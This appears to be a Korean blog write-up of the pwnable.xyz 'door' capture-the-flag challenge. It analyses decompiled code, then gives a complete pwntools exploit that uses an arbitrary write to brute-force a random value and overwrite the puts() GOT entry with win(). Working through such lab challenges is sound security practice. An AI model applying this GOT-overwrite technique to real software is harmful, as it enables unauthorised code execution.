[pwnable.xyz] door write up
Analytic
이번 문제는 `main()` 함수와 `win()` 함수 2개만 있다.
`main()` 함수를 보면 사용자가 입력한 값을 write 하는 것만 있다.
int main(){
setup()
puts("Door To Other RealmS")
int32_t var_14 = 0
int32_t var_10 = 0
*door = rand():0.d
while (true)
print_menu()
uint64_t rax_2 = zx.q(read_int32():0.d)
if (rax_2:0.d != 2)
if (rax_2:0.d s> 2)
if (rax_2:0.d != 3)
if (rax_2:0.d == 4)
return 0
// rax_2 == 3
else if (*door == 0)
continue
else if (var_10 == 0)
continue
else
*sx.q(var_10) = var_14
continue
// rax_2 == 1
else if (rax_2:0.d == 1)
if (*door != var_10)
continue
else
printf("Door: ")
var_14 = read_int32():0.d
printf("Realm: ")
var_10 = read_int32():0.d
*sx.q(var_10) = var_14
*door = 0
continue
puts("Invalid")
// rax_2 = 2
else if (*door != 0)
printf("Realm: ")
var_10 = read_int32():0.d
}
GOT를 `win()` 함수로 overwrite 하는거 말고는 방법이 없다.
overwrite 하기 위해서는 사용자가 `1`을 입력하고 랜덤 값인 `*door` 과 `var_10`이 같아야 한다.
// rax_2 == 1
else if (rax_2:0.d == 1)
if (*door != var_10)
continue
else
printf("Door: ")
var_14 = read_int32():0.d
printf("Realm: ")
var_10 = read_int32():0.d
*sx.q(var_10) = var_14
*door = 0
continue
`var_10`은 초기에 0으로 초기화 되고, 아래 코드에서 사용자가 `2`를 입력 했을 때만 `var_10` 의 값을 바꿀 수 있다.
// rax_2 = 2
else if (*door != 0)
printf("Realm: ")
var_10 = read_int32():0.d
사용자가 `3`을 입력했을때, `*door` 값이 0이 아니면 `*var_10 = var_14` 를 수행하여 특정 주소에 값을 write 할 수 있다.
// rax_2 == 3
else if (*door == 0)
continue
else if (var_10 == 0)
continue
else
*sx.q(var_10) = var_14
continue
How to Exploit
`var_10`에 `door` 주소를 적은 뒤 `*var_10 = var_14` 로 `*door` 값을 `0`으로 바꿀 수 있다.
하지만 `0`으로 바꾸면 조건 때문에 할 수 있는게 없다.
따라서 `var_10`에 `door+1` 주소를 적어 상위 3bytes만 `0`으로 바꾸는 것이다. 그럼 `*door` 값은 1byte만 남게 되는 것이다.
Open(6296133) # &door + 1 = 0x601244 = 6296133
Enter()
`read_int32()` 함수로 32bit int 형을 입력 받으므로 GOT를 overwrite 할때 상위 4bytes가 남게 된다. 이를 `0`으로 바꾸기 위해 `puts()` 함수의 `GOT + 0x4` 주소를 입력해 `0`으로 바꿔준다.
Open(6295580) # 0x601018(puts() GOT) + 0x4 = 6295580
Enter()
사용자가 `2`를 입력할 때는 `*door` 값과 `var_10`의 값이 같아야 하므로 `0x00 ~ 0xff` 까지 입력한다.
같으면 `puts()` 함수의 GOT를 `win()` 함수의 주소로 overwrite 한다.
result = 0
for i in range(256):
Open(i)
if Choose(e.symbols["win"], e.got["puts"]) == 1:
result = i
break
`puts()` 함수를 호추하기 위해 의미없는 값 `0`을 보내면 `flag` 를 획득 할 수 있다.
p.sendlineafter("> ", "0")
Payload
from pwn import *
p = remote("svc.pwnable.xyz" , "30039")
e = ELF("./challenge")
def Choose(door, realm):
p.sendlineafter("> ", "1")
if "Door" in p.recvuntil(":"):
p.send(str(door))
p.sendlineafter("Realm: ", str(realm))
return 1
return 0
def Open(val):
p.sendlineafter("> ", "2")
p.sendlineafter("Realm: ", str(val))
def Enter():
p.sendlineafter("> ", "3")
Open(6296133)
Enter()
Open(6295580)
Enter()
result = 0
for i in range(256):
Open(i)
if Choose(e.symbols["win"], e.got["puts"]) == 1:
result = i
break
p.sendlineafter("> ", "0")
p.interactive()
'🚩CTF' 카테고리의 다른 글
[Google CTF 2020] log-me-in write up (5) | 2020.08.27 |
---|---|
[Google CTF 2020] pasteurize write up (0) | 2020.08.27 |
[pwnable.xyz] child write up (0) | 2020.08.09 |
[pwnable.xyz] car shop write up (0) | 2020.08.09 |
[pwnable.xyz] words write up (0) | 2020.08.08 |
댓글
이 글 공유하기
다른 글
-
[Google CTF 2020] log-me-in write up
[Google CTF 2020] log-me-in write up
2020.08.27 -
[Google CTF 2020] pasteurize write up
[Google CTF 2020] pasteurize write up
2020.08.27 -
[pwnable.xyz] child write up
[pwnable.xyz] child write up
2020.08.09 -
[pwnable.xyz] car shop write up
[pwnable.xyz] car shop write up
2020.08.09